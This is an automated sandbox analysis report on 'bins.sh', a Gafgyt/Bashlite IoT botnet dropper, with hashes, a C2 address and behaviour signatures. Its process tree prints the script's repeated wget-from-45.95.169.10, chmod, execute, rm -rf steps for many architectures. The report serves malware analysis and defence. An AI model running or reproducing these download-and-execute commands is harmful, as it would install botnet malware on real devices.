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Analysis

  • max time kernel
    100s
  • max time network
    101s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20231221-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20231221-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    25/01/2024, 06:46

General

  • Target

    bins.sh

  • Size

    1KB

  • MD5

    b2cfbd80cdf94849b51fb78a928e5d58

  • SHA1

    ce6aaa804e6d7285b704169d491b1f7db0d60507

  • SHA256

    6e6727498e4e5c70ace009cb48fa6d141ce81f84eac03c79ac95f42b14ff683d

  • SHA512

    8c8bedefa4bb62759bef189232eeefb25b0115411c77b290342cd1f0362956783d77f37b2afaaf30a5db6b7be4a339509ab22e91132ae79c030d3f3c6a9e292f

Score
10/10

Malware Config

Extracted

Family

gafgyt

C2

45.95.169.10:666

Signatures

  • Detected Gafgyt variant 1 IoCs
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

  • Executes dropped EXE 1 IoCs
  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:724
      • /usr/bin/wget
        wget http://45.95.169.10/rebirth.arm4
        2⤵
        • Writes file to tmp directory
        PID:727
      • /bin/chmod
        chmod +x rebirth.arm4
        2⤵
          PID:740
        • /tmp/rebirth.arm4
          ./rebirth.arm4
          2⤵
          • Executes dropped EXE
          PID:741
        • /bin/rm
          rm -rf rebirth.arm4
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://45.95.169.10/rebirth.arm4t
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/chmod
            chmod +x rebirth.arm4t
            2⤵
              PID:750
            • /tmp/rebirth.arm4t
              ./rebirth.arm4t
              2⤵
                PID:751
              • /bin/rm
                rm -rf rebirth.arm4t
                2⤵
                  PID:753
                • /usr/bin/wget
                  wget http://45.95.169.10/rebirth.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:754
                • /bin/chmod
                  chmod +x rebirth.arm5
                  2⤵
                    PID:755
                  • /tmp/rebirth.arm5
                    ./rebirth.arm5
                    2⤵
                      PID:756
                    • /bin/rm
                      rm -rf rebirth.arm5
                      2⤵
                        PID:758
                      • /usr/bin/wget
                        wget http://45.95.169.10/rebirth.arm6
                        2⤵
                        • Writes file to tmp directory
                        PID:759
                      • /bin/chmod
                        chmod +x rebirth.arm6
                        2⤵
                          PID:760
                        • /tmp/rebirth.arm6
                          ./rebirth.arm6
                          2⤵
                            PID:761
                          • /bin/rm
                            rm -rf rebirth.arm6
                            2⤵
                              PID:763
                            • /usr/bin/wget
                              wget http://45.95.169.10/rebirth.i686
                              2⤵
                              • Writes file to tmp directory
                              PID:764
                            • /bin/chmod
                              chmod +x rebirth.i686
                              2⤵
                                PID:765
                              • /tmp/rebirth.i686
                                ./rebirth.i686
                                2⤵
                                  PID:766
                                • /bin/rm
                                  rm -rf rebirth.i686
                                  2⤵
                                    PID:768
                                  • /usr/bin/wget
                                    wget http://45.95.169.10/rebirth.m68
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:769
                                  • /bin/chmod
                                    chmod +x rebirth.m68
                                    2⤵
                                      PID:774
                                    • /tmp/rebirth.m68
                                      ./rebirth.m68
                                      2⤵
                                        PID:775
                                      • /bin/rm
                                        rm -rf rebirth.m68
                                        2⤵
                                          PID:778
                                        • /usr/bin/wget
                                          wget http://45.95.169.10/rebirth.mips
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:780
                                        • /bin/chmod
                                          chmod +x rebirth.mips
                                          2⤵
                                            PID:787
                                          • /tmp/rebirth.mips
                                            ./rebirth.mips
                                            2⤵
                                            • Reads system routing table
                                            • Reads system network configuration
                                            PID:789
                                          • /bin/rm
                                            rm -rf rebirth.mips
                                            2⤵
                                              PID:792
                                            • /usr/bin/wget
                                              wget http://45.95.169.10/rebirth.mpsl
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:793
                                            • /bin/chmod
                                              chmod +x rebirth.mpsl
                                              2⤵
                                                PID:801
                                              • /tmp/rebirth.mpsl
                                                ./rebirth.mpsl
                                                2⤵
                                                  PID:803
                                                • /bin/rm
                                                  rm -rf rebirth.mpsl
                                                  2⤵
                                                    PID:806
                                                  • /usr/bin/wget
                                                    wget http://45.95.169.10/rebirth.ppc
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:807
                                                  • /bin/chmod
                                                    chmod +x rebirth.ppc
                                                    2⤵
                                                      PID:818
                                                    • /tmp/rebirth.ppc
                                                      ./rebirth.ppc
                                                      2⤵
                                                        PID:819
                                                      • /bin/rm
                                                        rm -rf rebirth.ppc
                                                        2⤵
                                                          PID:822
                                                        • /usr/bin/wget
                                                          wget http://45.95.169.10/rebirth.spc
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:824
                                                        • /bin/chmod
                                                          chmod +x rebirth.spc
                                                          2⤵
                                                            PID:835
                                                          • /tmp/rebirth.spc
                                                            ./rebirth.spc
                                                            2⤵
                                                              PID:836
                                                            • /bin/rm
                                                              rm -rf rebirth.spc
                                                              2⤵
                                                                PID:838
                                                              • /usr/bin/wget
                                                                wget http://45.95.169.10/rebirth.x86
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:839
                                                              • /bin/chmod
                                                                chmod +x rebirth.x86
                                                                2⤵
                                                                  PID:841
                                                                • /tmp/rebirth.x86
                                                                  ./rebirth.x86
                                                                  2⤵
                                                                    PID:842
                                                                  • /bin/rm
                                                                    rm -rf rebirth.x86
                                                                    2⤵
                                                                      PID:844
                                                                    • /usr/bin/wget
                                                                      wget http://45.95.169.10/rebirth.sh4
                                                                      2⤵
                                                                      • Writes file to tmp directory
                                                                      PID:845
                                                                    • /bin/chmod
                                                                      chmod +x rebirth.sh4
                                                                      2⤵
                                                                        PID:846
                                                                      • /tmp/rebirth.sh4
                                                                        ./rebirth.sh4
                                                                        2⤵
                                                                          PID:847
                                                                        • /bin/rm
                                                                          rm -rf rebirth.sh4
                                                                          2⤵
                                                                            PID:849
                                                                          • /usr/bin/wget
                                                                            wget http://45.95.169.10/rebirth.arm7
                                                                            2⤵
                                                                            • Writes file to tmp directory
                                                                            PID:850
                                                                          • /bin/chmod
                                                                            chmod +x rebirth.arm7
                                                                            2⤵
                                                                              PID:851
                                                                            • /tmp/rebirth.arm7
                                                                              ./rebirth.arm7
                                                                              2⤵
                                                                                PID:852
                                                                              • /bin/rm
                                                                                rm -rf rebirth.arm7
                                                                                2⤵
                                                                                  PID:854

                                                                              Network

                                                                              MITRE ATT&CK Enterprise v15

                                                                              Replay Monitor

                                                                              Loading Replay Monitor...

                                                                              Downloads

                                                                              • /tmp/rebirth.arm4

                                                                                Filesize

                                                                                108KB

                                                                                MD5

                                                                                fb5cfb28c8938312a3528278742d404d

                                                                                SHA1

                                                                                f8ec0f9eaafc09ad3e10d4854bd798b892b2f9f6

                                                                                SHA256

                                                                                aa40049525de986cc33f4d7cd663fb09e825d54c68d37244921172bb375ba513

                                                                                SHA512

                                                                                4e04556dd0ced7c23ff82257eee81fb10261cdf4e5a99459efc49e8a515485b2b99916bb2301434ca5d90b8e97df788db6448004fa15820435009da395f3d278